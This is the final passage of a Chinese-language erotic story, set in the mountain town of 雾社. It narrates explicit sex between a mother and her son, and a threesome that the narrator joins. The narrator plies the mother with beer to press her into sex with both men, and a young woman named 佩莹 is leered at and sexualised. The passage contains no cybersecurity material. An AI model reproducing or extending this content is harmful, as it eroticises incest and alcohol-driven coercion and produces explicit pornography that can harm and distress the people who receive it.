只是他还年轻难保不会谈恋爱,而且将来他总是会娶老婆的。
我想了很久决定不能让他插进来!
那一夜我并没睡好。
第二天晚上小为从补习班回来,总是笑咪咪的看着我。洗澡吃完宵夜后递了
一张小纸条给我,写着:「亲爱的妈妈,今晚我还要!」
我接在后面写:「做完功课才能来!」
他眉开眼笑的跑进房间念书去了。
那夜由于在唱歌房被一个老不修的房客偷袭了下面,还色咪咪的挑逗人家,
心里早就有点想做爱。
儿子进到卧房时,小屄屄虽然已经在淌水但还记着昨夜的决定。
小为握着鸡鸡坐在椅子上时,我的水已经流到床上了。理智告诉我,要忍住
不能让他插进来!但是当他撸着鸡鸡朝我走近来,见到那一只看起来硬梆梆,有
一个可爱光溜溜紫红色大头的鸡鸡,在儿子手中挣扎着要回到妈妈这里时,我的
理智渐渐崩溃了。
我又扳着腿弯大大张开,用力高高挺起小屄屄。脑里狂乱地想着,让妈妈生
的鸡鸡插进来有什么不可以的?有什么大不了的!
我眼看着小为握着他的硬鸡鸡笨拙的插进了妈妈的小屄屄里。然后双手抓住
我的脚根便一进一出的抽插起来…
说到这里,她坐起来搂着我热热的吻了好久,两个奶头贴在我胸膛前揉来揉
去:「这就是小为第一次插我小屄屄的经过。」
我摸着她湿湿的阴部在她耳边说:「有你这么美丽的妈妈,我若是小为的话
早就把你的小屄屄插破了!」
「你真是变态耶!」听我说她美丽却很高兴,笑嘻嘻的。
「小为插你的时候你有没叫,插坏了!插坏了!」我弯着两根指头在阴道里
面抽插。
她紧紧抱住我喘着气,「没有!他…他有早泄的毛病!」骚水热热的流到指
头上。
「嗯!那你说被他插起来很激情很爽是怎么一回事?」阴道内的手指头愣在
里面。
「啊!」她轻轻叫了一声,摸着我脸颊说:「你知道吗?人是一种很奇妙的
生物。有一个母亲为了救她被压在车子底下的孩子,可以发出全身的潜力抬起车
子。」
她抚着我胸部,「当我知道小为有早泄的毛病,在他插我的时候我强迫自己
配合他鸡鸡颤抖泄精前达到高潮,那是一种很奇妙很快乐的感觉。他年轻力壮泄
得快也硬得快,几次后每回我们都做得很疯狂。」
高妈妈又开始细声喘气,「他身体任何一部份都是我给他的,任何一部份我
都清楚,从小呵护着他长大,他是世界上我最爱的男人。他怎么插我,我的小屄
屄都会很爽!你没看过小为在插我的时候,是如何的专心如何的努力!」
听她这般赞美儿子,我赶紧抽出指头,分开她的双腿,两指翻开淫液滚滚的
阴唇,舌头外扫内卷肏起小屄屄来。
「啊~喔~好痒~」屁股开始摆动了,阴阜上的毛刷着我的鼻子。
我舌尖挑着那颗肥大的阴蒂,她震了一下。我将阴蒂含在嘴唇里抵着舔。
「要大鸡鸡了!要你的大鸡鸡了!」
「你把小屄屄挺得高高的,腿张得开开的!大鸡鸡就来了!」
「快一点!这样好吗?」她两腿大开双手扳着腿弯高高挺出阴户。
我看着乌黑长密的阴毛底下露出红红一口抖动的肉洞,暗想我的一条小命迟
早会葬在你这口深不见底的肉洞里头。
(下)
第二天一早高妈妈就起床了。迷迷糊糊中觉得有人轻轻在搬我的脚,好困!
眼睛只能睁开一丝缝。她从我脚下抽出一条粉红色的东西,小内裤吧?胸前一对
白白的大乳房摇摇晃晃,圆大的屁股就在我旁边翘着,好吸引人!我想睡觉更想
插屄,伸手摸着那个大屁股,她拍掉我的手,「乖~妈妈该起床了!」
我拉下她闻闻乳房的香气,精神来了,「告诉你一个秘密,你不能说给别人
听喔!」
「什么秘密?」她摸摸我的头。
我在她耳边轻轻说:「我清早鸡鸡都特别硬,特别会做爱!」话说完翻身把
她压在底下,中指便去撩拨她的阴户。
「哎呀!你们男人都是这个样子!算什么秘密?!」
「小为也这样?」
「他也一样,每天清早鸡鸡就硬梆梆的,要给他插一次才行!」高妈妈捏着
挺硬的肉棍,「第二次以后我就觉得不行,上课会没精神,规定只有星期天才能
清早做。」
「今天好像就是星期天?」
「啊!啊!还干干的,又这么硬,不能一下子戳进来喔!」
她托着乳房凑上来,「先吸吸妈妈的大奶奶!再弄屄屄!乖宝宝!」
我心想:「原来女人也和男人一样!早晨醒来就想做爱!」大口含住香香的
奶头。
在店里看高妈妈打电话紧急补货、应付上门的客人,忙得不可开交,心中实
在很想帮忙,又插不上手,便告诉她我到后面去看那个蓄电设备。
我正站在梯子上抬头专心的看着一个驱动马达,「咳,」娇娇的一声,一看
是佩莹,手里拿着两罐饮料。
她笑眯眯地仰头看着我,「嘿!你几时来的?」踮脚递了一罐给我,「茶壶
呢?」拍拍旁边的小圆凳坐下。
「我临时被叫来帮小为修这东西的,茶壶不知道我要来雾社!」这个小骚货
穿短裙坐着两腿还张那么开,虽然是茶壶的马子,眼睛总忍不住往裙子里面瞄。
「到底是哪里出了问题?我看小为一直在弄那个东西。」小骚货不知是在好
友面前较无顾忌还是在卖骚?挪挪屁股,腿又张得更开。
她的皮肤的确是白,人骚穿得也骚,短裙里面居然是一条白色的丁字裤!我
看得出神,没听到她在说些什么。
「喂!宝尺啊!你有没有在听我说话?」见我注视她开开的大腿,娇嗔着:
「哎!你在看什么!好讨厌!你们男人都一样!」两腿一合,雪白的大腿、丁字
裤都没了。
「你说什么?我刚刚在想一个有关这机器的问题,没听清楚。」干!真的是
「好讨厌」,怎么被发现了!
「我说,你们男人都一样喜欢瞄人家的大腿!好讨厌!」她的脸颊有点红,
口气听起来却带点骄傲呢!
「你大腿又白又美好性感,张开开的哪一个男人不想多瞄几眼?」
佩莹红着脸啐我一口:「你这个人……你也知道我比较不拘小节,有时候在
熟人面前坐着就会放轻松……」听别人赞美她「大腿又白又美好性感」,说完就
满面笑容地看着我。
「你几时看小为弄这个东西?」
「你和茶壶回去后我连续看他弄两天了。」小骚货吸了一口饮料,「他骑机
车载我来,说高妈妈忙着看店,要我当助手。」
我心想:「这骚货搞不好已经在茶壶头顶戴上一顶崭新的绿帽子了,得套套
她的话。」
「坐在机车上面吹山风看风景一定很棒!」
「是啊!小为先载着我绕一圈,然后骑到山坡上看夕阳,再回这里弄这个东
西。」两条白腿又渐渐张开了,白天很亮,可以看见丁字裤中央边缘湿湿的。
我的肉棍在裤裆里硬起来,轻轻说:「嗯!真棒!好美!」
「是啊!坐在机车上面一路吹着凉风骑到山坡上看夕阳真是好棒!好美!哎
呀!你又在偷看人家了!」娇嗔着合上两腿。
「好了,你的玉腿实在迷人,丁字裤穿在那里更是叫男人看了受不了,我们
到店里去吧!」
「哎呀!穿那种裤子凉快嘛!坏人!」她脸红耳赤的站起来。
我问她:「小姐啊!你下午还来不来?」
「不来了!下午团队要去日月潭,两点出发,明晚才回雾社。见到小为麻烦
大哥转告他!」骚佩莹笑嘻嘻的走了。
接近中午小为回来了。吃中饭时我告诉他,那个蓄电器的聚光伞不太能追着
阳光转动,是整座自动转向器的材质和结构的问题,属设计上的瑕疵。
我讲了两个最简单的解决方法,实际上这两个方法也是我仅知道的。
为长久之计我们选择第二个方法:依我的构想移动整座转向器的位置再接上
两只连杆。
两个人在后面干活时他有些心不在焉,我便将佩莹的留话转告他。小为听了
脸色立刻黯下来。我说:「佩莹上午来时,听她说话好像蛮欣赏你的!」
「真的?!她怎么说我?」
「她说,你用机车载她一路吹着凉风骑到山坡上看夕阳好棒!好美!」
小为低着头微笑,脸红红的。
我嘻嘻笑着问:「怎么了?难道你们不止看夕阳而已?快告诉我下文,你张
大哥绝对不会泄露出去的,包括高妈妈、茶壶两人。」老子知道一个骚屄一个色
狼,不可能仅坐机车绕一绕,到山坡上看看夕阳而已。
小为红着脸说:「其实也没有发生什么事啦!就在山坡上接接吻而已,然后
就…就回来了。」
看他吞吞吐吐的样子老子才不相信只「接接吻而已」,我低声说:「看佩莹
讲话的陶醉样子,一定不只接接吻而已,快告诉我!不然我直接去套问佩莹的话
了!」
他也知道那小骚货三三八八的毫无心机,一套问就尽泄军机。
脸红耳赤低声说道:「大哥你千万不要去问她,我……我说就是了,但你一
定不能讲出去!」
「我发誓绝对不会泄露出去!」
「我们在山坡上……在山坡上……做爱……」
「啊!白天在山坡上做爱?…!你们两个真疯了!」
「嗯~那里很隐密的,头一次我们两人真的是被情欲烧坏脑筋了,第二天是
佩莹打电话找我去的,好像……好像也是她先动手的……」
要是没听他母亲讲起他们母子乱伦的经过,我肯定会认为是佩莹勾引他。
我心里暗想:「『头一次两人真的是被情欲烧坏脑筋了?』『第二天好像也
是她先动手的?』八成就是你勾引佩莹那小骚货的!不能白白让你占便宜!」
场面静了一下,只听到电扇呼呼吹的声音。
我低声说:「有关佩莹的事就当没发生过,大家藏在心里,我现在要问你一
件很奇怪的事,你老实告诉我之后大家同样藏在心里绝对不泄露出去,好吗?」
他点点头。
「我们在唱歌房唱歌的那一夜,大家啤酒喝多了去上厕所。高妈妈出去后,
我也尿急,不久也随着出去,尿完后我在外面想吸一点山上的新鲜空气时,听到
『乓』的一声,好像什么东西打破了。我以为发生什么事赶紧循着声音悄悄走去
看,结果无意间在你房门口……在你房门口。」我喝了一口饮料。
小为脸色发白紧张地问:「在我房门口?在我房门口怎么样!」
「结果『无意间』,『无意间』在你房门口听到了你和高妈妈一些非常奇怪
的对话,还有一些很奇怪的声音。」
我特别强调「无意间」三个字,一口气说完然后擦擦嘴巴盯着他,「你是不
是和高妈妈搞母子乱伦?」
小为哭丧着脸,「我……我……我和妈妈……大哥,你千万要保密不能讲出
去!否则我和妈妈死定了!」
我心想:「这小子色胆挺大胆子却挺小,光说还没吓他便什么都承认了!」
「你放心!刚刚咱们不是讲好的吗?大家同样藏在心里绝对不泄露出去!不
过……」
「大哥……不是讲好了?怎么又『不过』了?」
「你放心!我是说,我同学的马子你既然上了那也就算了,不过我心中最仰
慕、美丽的山地之花高妈妈你竟然也乱七八糟上了,你想,我怎么办呢?!」
他愣了一下,喃喃说:「你喜欢我妈妈……原来你喜欢我妈妈……」
我心里暗道:「何止喜欢?简直爱死你妈妈了!」想起那个很会流水的小肥
屄肉棍又硬了起来。
这小子果真寡廉鲜耻,靠近我低声说:「我会帮你的忙,但是最终还是要靠
你自己。不过……」
「『不过』什么!」我没好气的说。
「大哥别生气!我只是说,你同学茶壶那边,要来雾社的话能否找理由阻止
他,不过……最好是劝他和佩莹断了!」
原来这小子心眼如此坏,干!干!干!我心里头狠狠干着他。
我心里暗骂,也有一个主意,便说:「好!我尽力就是,但最好也能使高妈
妈晓得,她和你母子乱伦的事我都已经知道了。」
小为脸色苍白地呆坐在椅上,嘴巴喃喃自语不知念些什么。
我说:「怎么样?」
他一惊低声说:「让我想想办法,让我想想。」
经过了几次谈话小为对我的态度更加亲密。
我边校着一个盖子的角度,边问他:「你和高妈妈的事怎么发生的?」
「大哥!你怎么又提这个?」他手一歪,那盖子差点掉下来。
「既然我都知道了,这里又只有咱俩,边干活边听你讲风流事较有精神!」
他喝一大口饮料,脸有些红不敢看我,「我……我……有一次,在补习班看
了同学带去的黄色小说……还有相片。回家后鸡鸡还是很硬,我知道妈妈也想男
人。自从爸爸离家后我常一边偷看妈妈洗澡一边打手枪,我看见妈妈也是常常一
边洗澡一边自慰……那一夜……那一夜……」他咳了几声又喝饮料。
听起来和高妈妈说的不一样,版本好像不同?我追问:「那一夜怎么了?」
「那一夜……那一夜我太晚回家,妈妈已经洗过澡,脸红咚咚的好美丽。笑
眯眯的叫我赶快去洗澡,她去弄宵夜。我在浴室里还没开始洗,鸡鸡已经硬得受
不了,全身脱光光就打起手枪来。」
他打了一个饱嗝继续说:「我打着打着眼睛无意间飘到平时偷窥的小缝,发
现好像有人在偷看。那地方只有从我房间后门才能上去,家里只有我和妈妈去过
那地方,但是妈妈应该不晓得有那道隐密小缝的。当时很静,隐隐约约听到那人
的喘气声,确是妈妈的声音。」
「结果呢?」我着急的问,心想:「干!你说的怎么会和你妈妈讲的差那么
多?」
「我好兴奋!朝着那个小缝用力搓着直挺挺的鸡鸡,故意叫着,『妈妈!妈
妈!我好爱你!好想吸你的大奶奶!看你的小屄屄!』结果很快就射出来了。」
他裤裆撑了一顶小帐篷,喘了一口气又说:「泄了精后我搓着半软不硬的鸡
鸡继续叫着,『妈妈!亲爱的妈妈!小为好想把鸡鸡插进你的小屄屄里面!好想
好想耶!』后来我听到外面『噗』的一声。好像是那人跌倒了。我赶紧很快洗了
一下,只穿内裤跑出来,妈妈弄的宵夜点心居然只是一碗泡面,她也换了一件睡
衣。我更加确定刚才偷看我洗澡的是妈妈!」
他停下来又喝一口饮料,「我很快吃完泡面,妈妈那件睡衣可以清楚看见很
大的黑色奶罩很小的黑色三角裤,我的鸡鸡又变得硬梆梆的把内裤顶得高高。」
他又停下来,我心想:「这个人讲话的习性真像他妈妈,可是他妈妈说给我听的
逸事怎会和他现在讲的完全不一样呢?」
「然后呢?」我满肚子疑问。
正在这时候,桌上的电话突然响了,小为拿起话筒「喂!」了一声讲几句话
便挂断了,笑着说:「妈妈叫我们去洗澡吃饭,这件事剩下的部份有机会再告诉
你好么?记住!这两件事咱们说好的不能讲出去,千万记得啊!大哥!」
两人要出去的时候,他又转过头低声说:「对了,今夜你先……打烊后……
换我……然后……」
我听了心想:「他妈的!今天佩莹那骚屄没得插了你才想……」
高妈妈叫我先洗澡再吃饭,带我到楼上一间浴室。
「哗!好大的澡桶,桧木桶?」高妈妈的浴室比我的房间还要大,里面有一
个很大的桧木桶。
「嗯!是桧木。」
「原本是小小普普通通的一间,几次和小为在里面又洗澡又做爱,觉得地方
太小很不方便才改建的。这是我和小为专用的浴室。」她抚着澡桶脸颊晕红骄傲
地说。
「你和小为专用的?那我到河边洗好了再回来吃饭!」我装着掉头往外走。
想起昨晚跟今天早上在楼下那间小浴室洗澡心里好委曲。
「死孩子你啦!这时间到哪里的河边洗澡?还不快给我进来洗!」她笑骂着
拉我进去。
晚餐中两个小男生,你一个借口「给他干!」,我一个借口「给他干!」,
说尽奉承、赞美的话,轮流猛灌高妈妈啤酒。
外面不时有人来购物,小为跑来跑去忙得要命,一顿饭加上「给他干!」,
吃了两个多钟头。
小为说,昨晚妈妈看店很辛苦,今晚换他看店,请妈妈和张大哥去唱歌房唱
歌。叫妈妈放心尽兴的唱歌做乐,他绝对不会去「打扰」等等。
我看他长篇大论说得口沫横飞,高妈妈却听得迷迷糊糊一脸奇怪。
晚餐用过又吃水果休息一阵子,我的裤裆已经快被肉棍撑破了,小为才拿了
成堆的啤酒、干料放在小推车上催促着高妈妈陪我去唱歌房饮酒唱歌。
小为临走时还将灯调暗三格,他一离开唱歌房我马上搂着高妈妈寻到她软香
的嘴唇吻得透不过气。傍晚在后院听小为讲了一段母子风流篇,浑身欲火忍到现
在。
我色急的拉下她的短裤,高妈妈挣扎了一下,「小为进来不好看……」话没
说完下体已经光溜溜的。
「放心!小为叫你尽兴的唱歌做乐,他绝对不会来打扰的!」
我又去解上衣纽扣,她低声说:「这个你不会,我自己来。」
她脱她的衣服我便脱我的衣裤。一下子两人就赤条条的缠在沙发上。
「你鸡鸡怎么木棍似的,好像比早上还硬?」
「想你一整天了!」
「哎唷!轻一点!会痛咧!」
我把她两腿扛在肩上,眼睛一直注视着肉棍插在两片阴唇中间,淫水不多。
又插进去,「这样呢?」
「不痛!好些了!」
肉棍短短抽插了几下,她双手揉着乳房,「再进去!深点!」
我抚着滑腻的大腿用劲深深捅到底。
「你好像不太来劲,怎么了?」
「做得很爽很来劲啊!来,喝酒!」「给他干!」了一罐,她枕在我腿上语
气不乐的说:「你知道吗?你和茶壶回去后,小为叫那个佩莹来当他的助手,两
人鬼混了两个下午!」
我心里暗笑,这个妈妈醋劲真大!
嘴巴里安慰她:「我看他两人只是一时年轻好玩,难耐寂寞凑着热闹而已。
那个骚佩莹暑假一完就会离开,到时候一切烟消云散,儿子又会重回你的怀抱。
放心吧!」
她沉默了几秒钟突然用力抓住我的肉棍,有些醉态地大声说:「他的鸡鸡要
是沾过那骚货的骚屄屄,妈妈的屄屄就不给他插了!」
我听了忍着不敢笑出来,摸她小肉洞低声说:「安心啦!不会的啦!要是真
沾过了,洗干净点把骚屄味洗掉了,还不是一只你最喜欢的鸡鸡?」
「宝尺!宝尺!他有点崇拜你,你帮我探探有没有被那骚屄屄给沾了?」
我答道:「是!是!是!」看看壁上的时钟已经快十点了。
「来!希望那骚货早点离开雾社!给他干!」我开始灌高妈妈,她喝一罐我
喝半罐。
「再来给他干两罐!希望那骚货永远不再骚扰小为!」她喝两罐我还是喝半
罐。
「再来……」话还没说完,高妈妈推着我的手,「喝太多了!不喝了!我们
做爱!你的大鸡鸡呢?拿来给妈妈吃!」我摸摸她小屄,水汪汪的。
我嘴巴附在她滚烫的脸颊上低声说:「尿好急,马上回来!」起身寻找休闲
短裤。
「不要走……先插几下再去尿嘛……讨厌!」
「尿完了,马上回来!很快的!乖喔!」我抚抚她脸颊,穿好短裤转身出门
去了。
还未走到店里已经听到铁门「啦!啦!啦!」的声音,小为见我只穿裤子进
来,笑着说:「怎么样?」
「该你上场了!」
「大哥请在外面呼吸山区的新鲜空气约十分钟,再进来。不好意思!不好意
思!」
我暗骂:「妈的!脸皮真厚!还调侃你老子!」
夜间山区的空气的确新鲜,满天星星个个又亮又大。十分钟说长不长说短也
不短。我推开隔音门时听到高妈妈喘嘘嘘叫着:「乖儿子用力!用力!啊!啊!
妈妈的宝贝!插得妈妈好快乐!好快乐!我们一起来!一起来!」
小为顶着他妈妈两条大腿,干得上气不接下气,我看他屁股上下快速动了几
下,也听他叫:「妈妈!小为要泄了!要泄了!」
我欲火冲天,肉棍硬顶着没穿内裤的休闲裤,静静的看着这对母子干到瘫软
成一堆。
两人就在小为计划中靠近门这一端的沙发上。高妈妈还未看见我,搂着小为
低声说话,听不太清楚。
她两条浑圆修长的大腿夹缠在小为腿上,喃喃细声:「……妈妈的屄屄小为
插得……休息一下鸡鸡……再给你插……」说完亲了小为一下。
小为张开眼睛见到我,惊叫着:「妈妈!妈妈!张大哥!……」
我心里暗暗笑着:「这小子可真会演戏!」
高妈妈却不怎么慌张,只涨红俏脸推着小为:「起来!起来!你不是说张大
哥在你房间睡觉吗?」
我坐到她身旁,和小为一左一右将她夹在中间,闻到一般重重的酒气。
小为说:「我……我去尿尿!」站起来找他的衣裤。
高妈妈歪歪倒倒拉着他,「小为!……小为你别走呀!」
「妈!我尿完就会回来的!张大哥又不是外人,你先陪他喝酒,我很快就回
来!」拿起衣裤光着屁股开门跑出去了。
我「故意」一言不发看着他跑出去。
高妈妈满脸酒红瞪我一眼,「你不好好睡觉爬起来干嘛?」
我搬开她的大腿抚摸着,「翻来覆去满脑子都想着你,睡一半鸡鸡硬梆梆的
忍不住了,就爬起来找你了,没想到……」
她在我臂上拧了一把,「没想到什么!这下子,也不知道要怎么跟小为说才
好!」
「包在我身上,请高妈妈放一百二十个心!」手指头已经挖进小肉洞了。
我一手脱下裤子,另一手的指头戳着洞洞好忙,鼓起勇气在她耳旁细声问:
「小为那边解决之后他和你做爱时让我在旁边观看、学习好吗?」
「学习什么!才不要让你参观呢!」
「那……那让我当你的新丈夫和小为一起插你的小屄屄好吗?」
她又拧了我一把,「才不要呢!你的年纪和小为一样大,怎么可以当我的新
丈夫!」
「那……那……让我当你另一个儿子和小为一起插你的小屄屄好吗?」我铁
了心趁醉酒磨着她答应三人行。
她见我一付认真的样子,却又好像没醉意了,静了一下脸红耳赤,「和小为
一起来?不好吧!我还以为你闹着玩的,等你说服了小为再说。」接着抱住我,
声音变得软软的:「刚才和小为只做一次就被打散了,妈妈该找谁赔呀?」
我肉棍正硬,暗想:「不知道是我赔你还是你赔我?」但看着那一身火辣辣
迷人的肉体,心里又暗暗痛骂底下那只肉棍不争气。搂过她放在腿上,吻着她耳
朵,「我来赔!要多少赔多少!」
我坐在沙发上,高妈妈劈开双腿,一条铁硬的肉棍被她红艳的小肉洞吞吞吐
吐,淫水流到震动的睾丸,流到我的大腿。
「吸妈妈的大奶奶!乖宝宝!」她凑近雪白的胸膛,那两个硕大又高耸,荡
着阵阵乳波的乳房,摇得我眼花撩乱。
我吮着奶头,屁股在她落下时用力往上顶去,龟头冠颈美滋滋的刮过嫩肉撞
进阴道最深处的软肉。「喔!好棒!」我松开奶头低低叫了一声。
高妈妈却叫道:「哎唷!小屄屄要弄坏了……」停了一下,喘了几口气又弄
起来,越来越快越用力。
她坐下来还喘着气把屁股狠狠的扭一下,我的龟头陷在里面爽得发抖。
却在这时候我看见门缓缓被推开了。
当时我正插到快喷出来,看见门被推开心里「咚!」的猛跳了一下,进来的
是小为!只穿一条内裤。
暗暗干他:「你妈的!老子正爽,剧本里又没有这一幕,跑进来干什么?」
高妈妈背向着门没看见他,仍然使劲用小屄屄扭我,喘着气问:「怎么不动
了!快用力往上顶啊!妈妈要来了!」我赶紧使劲往上顶去。
我一边顶一边看小为脱了内裤,赤条条的站在他妈妈后面打手枪。「不管他
了!」我专心卖力和身上这个美丽迷人的妇人继续肏屄。
我含住一个奶头捧着她的屁股拚命挺动,两人动作越来越狂热,也不知捅了
几百下,她的阴道有点痉挛,开始乱叫起来。
先是闭着眼睛「……伊伊哇哇……」的浪叫,我听不懂,感觉却很淫荡、迷
人,大概是她的母语。
喘了几口大气,接着混乱的叫:「你这个小坏蛋想和小为一起……一起插妈
妈的屄屄……啊……来吧!一起来……」
又大口喘气乱叫:「小为的大鸡鸡被佩莹骚货抢走了!妈妈好想小为的大鸡
鸡!宝尺……你找小为一起来……一起来插妈妈美丽的小屄屄……吸妈妈的大奶
奶……啊!用力!啊!」
我听她浪言浪语好像光想着她儿子,气得闭眼咬牙,发狂般上上下下狠刺她
的肉洞。没注意到小为几时靠近来,「妈妈!小为的大鸡鸡在这里,硬得好痛,
赶快帮他吸吸!」
我又被他吓一跳,睁眼看去。高妈妈大概也被吓一跳,重重的坐下来张着嘴
巴转头看他,满脸惊讶。
小为握着鸡鸡,红红的龟头磨着他妈妈的嘴唇撒娇,「妈妈快吸嘛!小为的
大鸡鸡好痛耶!」说完龟头就朝他妈妈张开的嘴巴顶进去。
高妈妈含着小为的鸡鸡,鼻子闷「嗯!」了一声,小为叫得很急:「妈妈快
吸!快吸!鸡鸡要泄精了!」
看着这一幕我的肉棍很快又在高妈妈湿热的洞穴里硬起来,双手扶着她腰往
上提了提示意她动。她屁股扭了一下,晃着两个大乳房慢慢动起来。
我越来越急,心想:「要爆炸了你还慢吞吞的搞!」两手用力,微微捧高她
的屁股,又「劈!劈!啪!啪!」使劲乱捅乱抽一阵。
高妈妈吐出嘴里的鸡鸡,拖着一条长涎转头搂住我,「啊!啊!啊!啊!插
破了!轻一点!轻一点!」也不知道是叫痛还是叫乐?
小为泄了精还依依不舍的从后面玩弄他妈妈的乳房。我看他双手穿过他妈妈
肋下,把两座发红的大乳房捏来捏去,还将两个奶头又捻又拉,就好像边肏屄边
看A片似的,更加兴奋。「呼!呼!呼!」的牛喘,硬梆梆一条肉棍「劈!劈!
啪!啪!」死命狠顶上面湿漉漉的小屄屄。
高妈妈抬着屁股,「啊!啊!啊!啊!」哼了几声重重的扭起来。又开始乱
叫:「两个坏孩子!两个坏孩子!要把妈妈弄死了!妈妈会被你们玩死了!」
我的肉棍在发抖,也感觉她的阴道在痉挛,热热的汁液喷在龟头上。
高妈妈把我的肉棍密密坐着,我也紧紧抵住她泥泞一片的肉洞喷了又喷,两
人抱在一起大口喘气。她在我耳旁吐着热气浪浪的低叫:「哼……哼……抱着妈
妈不要动!乖乖!不要动!乖乖!」
那一夜我睡原来的小房间,高妈妈母子各睡各的房间。至于半夜小为是否溜
到他妈妈床上我不知道也没兴趣了。
她母子两人说的乱伦情事哪一版是真哪一版是假我也没再问,反正母子俩高
高兴兴快快乐乐生活没人知晓就好了。
隔天晚上六点多刚吃过饭,小为骑了机车说要出去兜兜风。我避开高妈妈问
他,是不是去找佩莹?他微红着脸点点头。
高妈妈板着一张脸朝他挥手,「天黑了!早点回来啊!」
不到一个钟头小为就独自回来了,我心想:「这么快,应该没去山坡上肏屄
吧?」
倒是第四天弄好那蓄电器回家之后把车开给茶壶时,茶壶急得要命。一直问
我死到哪里去了?抱怨到处找不到我的人踪。
他说,我借走车子那晚,他偏偏在保龄球馆拔了一个漂亮的妹妹,用机车载
来载去好没面子!
我只有笑着说,那才有电影「罗马假期」的味道啊!
接着就听他大谈那「漂亮的妹妹」,脸孔身材都是一级棒,连名字也很有气
质。
从头到尾根本没提过佩莹。
我也没说借他车子去何处。
第二天马上又找借口混过老妈,搭车跑到雾社。
那一个暑假我几乎是在雾社渡过的。
高妈妈曾经提过,「小为偷瞄隔壁「惠妹」短裙内的风光」。原来那叫「惠
妹」的是一个离婚的妇人,年纪比高妈妈还大却比高妈妈还骚包,身材尽管没高
妈妈好却常穿高膝裙子。除了和高妈妈母子三人行之外,我还会想着那个更骚的
「惠妹」。我渐渐觉得我好像被她两母子弄得有点心理变态了。
【全文完】